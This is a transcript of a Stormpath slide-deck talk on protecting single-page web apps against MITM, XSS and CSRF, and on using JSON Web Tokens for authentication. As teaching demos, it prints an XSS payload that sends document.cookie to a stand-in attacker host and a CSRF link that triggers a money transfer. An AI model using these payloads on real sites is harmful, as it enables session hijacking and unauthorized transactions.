Downloaded 329 times
Uploaded byStormpath
Building Secure User Interfaces With JWTs (JSON Web Tokens)
The document discusses the importance of securing user interfaces in web applications, specifically through the use of JSON Web Tokens (JWTs) for authentication and authorization. It addresses security concerns such as session ID management, XSS attacks, and CSRF vulnerabilities, providing solutions to these issues while advocating for the use of access tokens over traditional session IDs. Additionally, it emphasizes the benefits of JWTs, including their structured format, statelessness, and implicit trust due to cryptographic signing, while also warning about the need to secure them properly.
Building Secure User Interfaces With JWTs (JSON Web Tokens)
- 1. Building Secure User InterfacesWith JWTs (JSON Web Tokens) Robert Damphousse @robertjd_ Lead Front-End Developer, Stormpath
- 2. About Stormpath • UserManagement API for Developers • Password security • Authentication and Authorization • LDAP Cloud Sync • Instant-on, scalable, and highly available • Free for developers
- 3. Talk Overview • SecurityConcerns for Modern Web Apps • Cookies, The Right Way • Session ID Problems • Token Authentication to the rescue! • Angular Examples
- 4. Modern Web Applications •Single Page Apps (“SPAs”), e.g AngularJS • Backed by a RESTful JSON API • Run in an HTML5 Environment • Web Browser • WebKit instance • “Hybrid” Mobile apps (Phonegap, etc)
- 5. Security Concerns forModern Web Apps Web Apps are ‘Untrusted Clients’ • Secure user credentials • Secure server endpoints (API) • Prevent malicious code from executing in client • Provide Access Control rules to the Client
- 6.
- 7. Securing User Credentials Traditionallywe accept username & password, then store a Session ID in a cookie
- 8. Securing User Credentials:Session ID Cookie
- 9. Securing User Credentials •This is OK if you protect your cookies • However it may not scale well • It doesn’t let the client know what can be accessed • Access Tokens are better! (We’ll get there later)
- 10.
- 11. Securing Server (API)Endpoints • Traditionally use Session ID Cookies • Session ID Session User identity • Use framework like Apache Shiro or Spring Security to assert security rules
- 12. Informing the Client aboutAccess Control
- 13. Providing Access ControlRules to the Client • Traditional solution: • Let the app bootstrap • GET a /me or /profile endpoint • Session ID Session User data in your DB • Parse response for ACL information • Access Tokens are better!
- 14.
- 15. Cookies, The RightWay ® Cookies can be easily compromised • Man-in-the-Middle (MITM) attacks • XSS Attacks • Cross-Site Request Forgery (CSRF)
- 16. Man In TheMiddle (MITM) Attacks Someone ‘listening on the wire’ between the browser and server can see and copy the cookie. Solutions • Use HTTPS everywhere • TLS everywhere on internal networks
- 17.
- 18. XSS Attacks This isa very REAL problem Happens when someone else can execute code inside your website Can be used to steal your cookies! https://www.owasp.org/index.php/XSS
- 19.
- 20.
- 21.
- 22. XSS Attack Demo <imgsrc=x onerror="document.body.appendChild(function (){var a = document.createElement('img'); a.src='https://hackmeplz.com/yourCookies.pn g/?cookies=’ +document.cookie;return a}())" So what if I put this in the chatbox..
- 23. XSS Attack Demo GET https://hackmeplz.com/yourCookies.png/?cook ies=SessionID=123412341234 Yourbrowser is going to make this request: Which means..
- 25. XSS Attack –What Can I Do? Escape Content • Server-side: Use well-known, trusted libraries to ensure dynamic HTML does not contain executable code. Do NOT roll your own. • Client Side: Escape user input from forms (some frameworks do this for you, but read the docs for caveats!)
- 26. XSS Attack –What Can I Do? Use HTTPS-Only cookies When sending a cookie to a client, declare it as HTTPS-Only It will not be available to the JavaScript environment, sweet! It will only be sent over secure connections, sweet!
- 27. XSS Attack –What Can I Do? Read this definitive guide: https://www.owasp.org/index.php/XSS
- 28.
- 29. Cross-Site Request Forgery(CSRF) Exploits the fact that HTML tags do NOT follow the Same Origin Policy when making GET requests https://www.owasp.org/index.php/Cross- Site_Request_Forgery_(CSRF) https://developer.mozilla.org/en- US/docs/Web/Security/Same-origin_policy
- 30. Cross-Site Request Forgery(CSRF) Example: Attacker enables a user to request your server. Example: <a href=“https://myapp.com/transferMoney ?to=BadGuy&amount=10000”>See Cute Cats!</a> What happens?
- 31. Cross-Site Request Forgery(CSRF) • The browser says, “The request is going to myapp.com, so I’ll happily send along your cookies for myapp.com!” • Your server trusts the cookies AND the identity reference, and transfers the money!
- 32. Cross-Site Request Forgery(CSRF) Pro tip: never allow GET requests to modify server state!
- 33. Cross-Site Request Forgery(CSRF) Solutions: • Synchronizer Token (for form-based apps) • Double-Submit Cookie (for modern apps) • Origin header check (for extra measure)
- 34. Double Submit Cookie •Give client two cookies: Session ID + Random Value, maintain pointers between the two • Client sends back the random value explicitly, triggering the Same-Origin-Policy
- 35. Double Submit CookieWorkflow Validate Token
- 36. Double Submit CookieWorkflow
- 37. Double Submit CookieConsiderations Still vulnerable to XSS! • Token can be hijacked, but SOP mitigates use in malicious browser environment • Session cookie MUST be HTTP(S) only to prevent true hijacking Protect against XSS!
- 38. Double Submit CookieConsiderations NEVER DO THIS ON YOUR HTTP RESPONSES: Access-Control-Allow-Origin: * Access-Control-Allow-Headers:*
- 39. Origin Header check •Browsers send Origin header • Use to know if request is originating from your domain • Cannot be hacked via browser JS • CAN be modified by a malicious HTTP Proxy (use HTTPS!)
- 40.
- 41. Session ID Problems •They’re opaque and have no meaning themselves (they’re just ‘pointers’) • Session ID look up server state on *every request*. • Cannot be used for inter-op with other services
- 42.
- 43. Token Authentication • Q:What is Authentication? • A: Proving who you are • Q: What is a Token? • A: Mechanism for persisting that proof, that “assertion”
- 44. Hold tight.. we’reabout to go from here: ..to here
- 45.
- 46. Token Authentication Workflow Thislooks a lot like the Session ID workflow..
- 47. But it’s different! ThataccessToken is special, in fact..
- 48. It’s a JSONWeb Token
- 49. JSON Web Tokens(JWT) In the wild they look like just another ugly string: eyJ0eXAiOiJKV1QiLA0KICJhbGciOiJIUzI1NiJ9.eyJ pc3MiOiJqb2UiLA0KICJleHAiOjEzMDA4MTkzODAsDQo gImh0dHA6Ly9leGFtcGxlLmNvbS9pc19yb290Ijp0cnV lfQ.dBjftJeZ4CVPmB92K27uhbUJU1p1r_wW1gFWFOEj Xk
- 50. JSON Web Tokens(JWT) But they do have a three part structure. Each part is a Base64-encoded string: eyJ0eXAiOiJKV1QiLA0KICJhb GciOiJIUzI1NiJ9 . eyJpc3MiOiJqb2UiLA0KICJle HAiOjEzMDA4MTkzODAsDQogIm h0dHA6Ly9leGFtcGxlLmNvbS9 pc19yb290Ijp0cnVlfQ . dBjftJeZ4CVPmB92K27uhbUJU 1p1r_wW1gFWFOEjXk Header Body (‘Claims’) Cryptographic Signature
- 51. JSON Web Tokens(JWT) Base64-decode the parts to find the juicy bits: { "typ":"JWT", "alg":"HS256" } { "iss”:”http://trustyapp.com/”, "exp": 1300819380, “sub”: ”users/8983462”, “scope”: “self api/buy” } tß´—™à%O˜v+nî…SZu¯µ€U…8H× Header Body (‘Claims’) Cryptographic Signature
- 52. JSON Web Tokens(JWT) The claims body is the best part! It can tell: { "iss”:”http://trustyapp.com/”, "exp": 1300819380, “sub”: ”users/8983462”, “scope”: “self api/buy” } Who issued the token When it expires Who it represents What they can do
- 53. JSON Web Tokens(JWT) • Implicitly trusted because it is cryptographically signed • Structured data, enabling inter-op between services • Can inform your client about basic access control rules (permissions)* • And the big one: statelessness! *servers must always enforce access control policies
- 54. JSON Web Tokens(JWT) Caveats • Implicit trust is a tradeoff – how long should the token be good for? how will you revoke it? (Another talk: refresh tokens) • You still have to secure your cookies! • You have to be mindful of what you store in the JWT if they are not encrypted. No sensitive info!
- 55.
- 56. Angular App w/Login Form
- 57. Login makes POSTto /oauth/token POST /oauth/token?grant_type=password Origin: http://localhost:9000 username=robert%40stormpath.com &password=robert%40stormpath.com
- 58. Server Response HTTP/1.1 200OK set-cookie: XSRF-TOKEN=47255bff-6766-4445- 8645-55189427e13d; Expires=Wed, 13 May 2015 07:15:33 GMT;Path=/; set-cookie: access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI 1NiJ9.ZJD3YlPMq38IcxN335Umeflnte1nFPDEvoSl26 rSXkg…; Expires=Wed, 13 May 2015 07:15:33 GMT; HttpOnly;Path=/;
- 59. Subsequent Requests GET http://localhost:9000/api/things Cookie:access_token=eyJ0eXAiOiJKV1QiLCJhbGci OiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2FwaS5zdG9 ybXBhdGguY29tL3YxL2FwcGxpY2F0aW9ucy8xaDcyUEZ Xb0d4SEtoeXNLallJa2lyIiwic3ViIjoiaHR0cHM6Ly9 hcGkuc3Rvcm1wYXRoLmNvbS92MS9… X-XSRF-TOKEN:47255bff-6766-4445- 8645-55189427e13d
- 60. Bonus Round! { "iss": "https://api.stormpath.com/v1/applications/1h72PFWoGxH KhysKjYIkir", "sub": "https://api.stormpath.com/v1/accounts/25texzRz3g0vNKl SWNGPXq", "jti": "6b577bde-80dd-4468-904a-0c34f4bfdb17", "iat":1431497733, "exp": 1431501333, "xsrfToken”: "47255bff-6766-4445-8645-55189427e13d" } Go Stateless!
- 61. Recap.. • Session Identifiersare problematic because they’re opaque • Access Tokens are better because they’re structured and contain identity assertions • Cookies are OK for token storage, but you MUST secure them the right way
- 62. Use Stormpath forAPI Authentication & Security In addition to user authentication and data security, Stormpath can handle authentication and authorization for your API, SPA or mobile app. • API Authentication • API Key Management • Authorization • Token Based Authentication • OAuth • JWTs http://docs.stormpath.com/guides/api-key-management/ Implementations in your Library of choice: https://docs.stormpath.com/home/
- 63. Get started withyour free Stormpath developer account! https://api.stormpath.com/register Questions? support@stormpath.com